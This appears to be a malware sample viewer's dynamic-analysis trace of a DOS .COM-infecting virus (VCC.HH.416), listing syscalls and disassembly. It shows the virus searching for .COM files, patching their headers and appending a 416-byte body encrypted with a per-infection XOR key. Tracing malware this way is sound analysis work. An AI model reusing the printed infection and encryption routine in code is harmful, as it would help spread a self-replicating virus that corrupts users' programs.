Sample viewer

vx.netlux.org/Virus.DOS.VCC.HH.416

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:56:52.966851097Z 26 PC: 12e55 | Set disk transfer address
2018-12-17T22:56:52.969304995Z 37 PC: 12e63 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:56:52.971322399Z 37 PC: 12e67 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:56:52.972990367Z 78 PC: 12eb6 | Find first file
2018-12-17T22:56:52.98102938Z 61 PC: 12f52 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:56:53.010616677Z 63 PC: 12f61 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:56:53.027016108Z 66 PC: 12f71 | Move file pointer
2018-12-17T22:56:53.028690416Z 66 PC: 12f81 | Move file pointer
2018-12-17T22:56:53.05053638Z 64 PC: 12f8d | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:56:53.054172888Z 66 PC: 12f9a | Move file pointer
2018-12-17T22:56:53.055532796Z 44 PC: 12f9e | Get time 0x12f9e: mov byte ptr ds:[bp + 0x2a0], dl
0x12fa3: call 0x12fb9
0x12fa6: mov ah, 0x40
0x12fa8: mov cx, 0x1a0
0x12fab: lea dx, word ptr [bp + 0x106]
0x12faf: int 0x21
0x12fb1: call 0x12fb9
0x12fb4: mov ah, 0x3e
0x12fb6: int 0x21
0x12fb8: ret
0x12fb9: lea si, word ptr [bp + 0x120]
0x12fbd: mov cx, 0x161
0x12fc0: xor byte ptr [si], 0xd
0x12fc3: inc si
0x12fc4: dec cx
0x12fc5: jne 0x12fc0
0x12fc7: ret
0x12fc8: add word ptr [bx], di
0x12fca: aas
0x12fcb: aas
2018-12-17T22:56:53.059575536Z 64 PC: 12fb1 | Write file or device (Write 416 bytes on handle 5)
2018-12-17T22:56:53.080419553Z 62 PC: 12fb8 | Close file
2018-12-17T22:56:53.092139344Z 79 PC: 12eb6 | Find next file
2018-12-17T22:56:53.097755873Z 61 PC: 12f52 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:56:53.106629452Z 63 PC: 12f61 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:56:53.11541382Z 66 PC: 12f71 | Move file pointer
2018-12-17T22:56:53.117896627Z 66 PC: 12f81 | Move file pointer
2018-12-17T22:56:53.119540178Z 64 PC: 12f8d | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:56:53.123320188Z 66 PC: 12f9a | Move file pointer
2018-12-17T22:56:53.125516996Z 44 PC: 12f9e | Get time 0x12f9e: mov byte ptr ds:[bp + 0x2a0], dl
0x12fa3: call 0x12fb9
0x12fa6: mov ah, 0x40
0x12fa8: mov cx, 0x1a0
0x12fab: lea dx, word ptr [bp + 0x106]
0x12faf: int 0x21
0x12fb1: call 0x12fb9
0x12fb4: mov ah, 0x3e
0x12fb6: int 0x21
0x12fb8: ret
0x12fb9: lea si, word ptr [bp + 0x120]
0x12fbd: mov cx, 0x161
0x12fc0: xor byte ptr [si], 0x47
0x12fc3: inc si
0x12fc4: dec cx
0x12fc5: jne 0x12fc0
0x12fc7: ret
0x12fc8: add word ptr [bx], di
0x12fca: aas
0x12fcb: aas
2018-12-17T22:56:53.128426094Z 64 PC: 12fb1 | Write file or device (Write 416 bytes on handle 5)
2018-12-17T22:56:53.131588977Z 62 PC: 12fb8 | Close file
2018-12-17T22:56:53.140732487Z 79 PC: 12eb6 | Find next file
2018-12-17T22:56:53.144029016Z 61 PC: 12f52 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:56:53.151706109Z 63 PC: 12f61 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:56:53.159178577Z 66 PC: 12f71 | Move file pointer
2018-12-17T22:56:53.161449709Z 66 PC: 12f81 | Move file pointer
2018-12-17T22:56:53.16306918Z 64 PC: 12f8d | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:56:53.16603185Z 66 PC: 12f9a | Move file pointer
2018-12-17T22:56:53.194593267Z 44 PC: 12f9e | Get time 0x12f9e: mov byte ptr ds:[bp + 0x2a0], dl
0x12fa3: call 0x12fb9
0x12fa6: mov ah, 0x40
0x12fa8: mov cx, 0x1a0
0x12fab: lea dx, word ptr [bp + 0x106]
0x12faf: int 0x21
0x12fb1: call 0x12fb9
0x12fb4: mov ah, 0x3e
0x12fb6: int 0x21
0x12fb8: ret
0x12fb9: lea si, word ptr [bp + 0x120]
0x12fbd: mov cx, 0x161
0x12fc0: xor byte ptr [si], 0x4d
0x12fc3: inc si
0x12fc4: dec cx
0x12fc5: jne 0x12fc0
0x12fc7: ret
0x12fc8: add word ptr [bx], di
0x12fca: aas
0x12fcb: aas
2018-12-17T22:56:53.201713629Z 64 PC: 12fb1 | Write file or device (Write 416 bytes on handle 5)
2018-12-17T22:56:53.209117379Z 62 PC: 12fb8 | Close file
2018-12-17T22:56:53.238585106Z 79 PC: 12eb6 | Find next file
2018-12-17T22:56:53.242023929Z 61 PC: 12f52 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:56:53.249778156Z 63 PC: 12f61 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:56:53.271938835Z 66 PC: 12f71 | Move file pointer
2018-12-17T22:56:53.274568111Z 66 PC: 12f81 | Move file pointer
2018-12-17T22:56:53.276289166Z 64 PC: 12f8d | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:56:53.280433031Z 66 PC: 12f9a | Move file pointer
2018-12-17T22:56:53.282048552Z 44 PC: 12f9e | Get time 0x12f9e: mov byte ptr ds:[bp + 0x2a0], dl
0x12fa3: call 0x12fb9
0x12fa6: mov ah, 0x40
0x12fa8: mov cx, 0x1a0
0x12fab: lea dx, word ptr [bp + 0x106]
0x12faf: int 0x21
0x12fb1: call 0x12fb9
0x12fb4: mov ah, 0x3e
0x12fb6: int 0x21
0x12fb8: ret
0x12fb9: lea si, word ptr [bp + 0x120]
0x12fbd: mov cx, 0x161
0x12fc0: xor byte ptr [si], 0x52
0x12fc3: inc si
0x12fc4: dec cx
0x12fc5: jne 0x12fc0
0x12fc7: ret
0x12fc8: add word ptr [bx], di
0x12fca: aas
0x12fcb: aas
2018-12-17T22:56:53.284632157Z 64 PC: 12fb1 | Write file or device (Write 416 bytes on handle 5)
2018-12-17T22:56:53.287930828Z 62 PC: 12fb8 | Close file
2018-12-17T22:56:53.297508008Z 79 PC: 12eb6 | Find next file
2018-12-17T22:56:53.300537094Z 61 PC: 12f52 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:56:53.308622157Z 63 PC: 12f61 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:56:53.316369405Z 66 PC: 12f71 | Move file pointer
2018-12-17T22:56:53.318546874Z 66 PC: 12f81 | Move file pointer
2018-12-17T22:56:53.320187153Z 64 PC: 12f8d | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:56:53.324213641Z 66 PC: 12f9a | Move file pointer
2018-12-17T22:56:53.325981731Z 44 PC: 12f9e | Get time 0x12f9e: mov byte ptr ds:[bp + 0x2a0], dl
0x12fa3: call 0x12fb9
0x12fa6: mov ah, 0x40
0x12fa8: mov cx, 0x1a0
0x12fab: lea dx, word ptr [bp + 0x106]
0x12faf: int 0x21
0x12fb1: call 0x12fb9
0x12fb4: mov ah, 0x3e
0x12fb6: int 0x21
0x12fb8: ret
0x12fb9: lea si, word ptr [bp + 0x120]
0x12fbd: mov cx, 0x161
0x12fc0: xor byte ptr [si], 0x58
0x12fc3: inc si
0x12fc4: dec cx
0x12fc5: jne 0x12fc0
0x12fc7: ret
0x12fc8: add word ptr [bx], di
0x12fca: aas
0x12fcb: aas
2018-12-17T22:56:53.328626899Z 64 PC: 12fb1 | Write file or device (Write 416 bytes on handle 5)
2018-12-17T22:56:53.333235998Z 62 PC: 12fb8 | Close file
2018-12-17T22:56:53.342129871Z 26 PC: 12ed0 | Set disk transfer address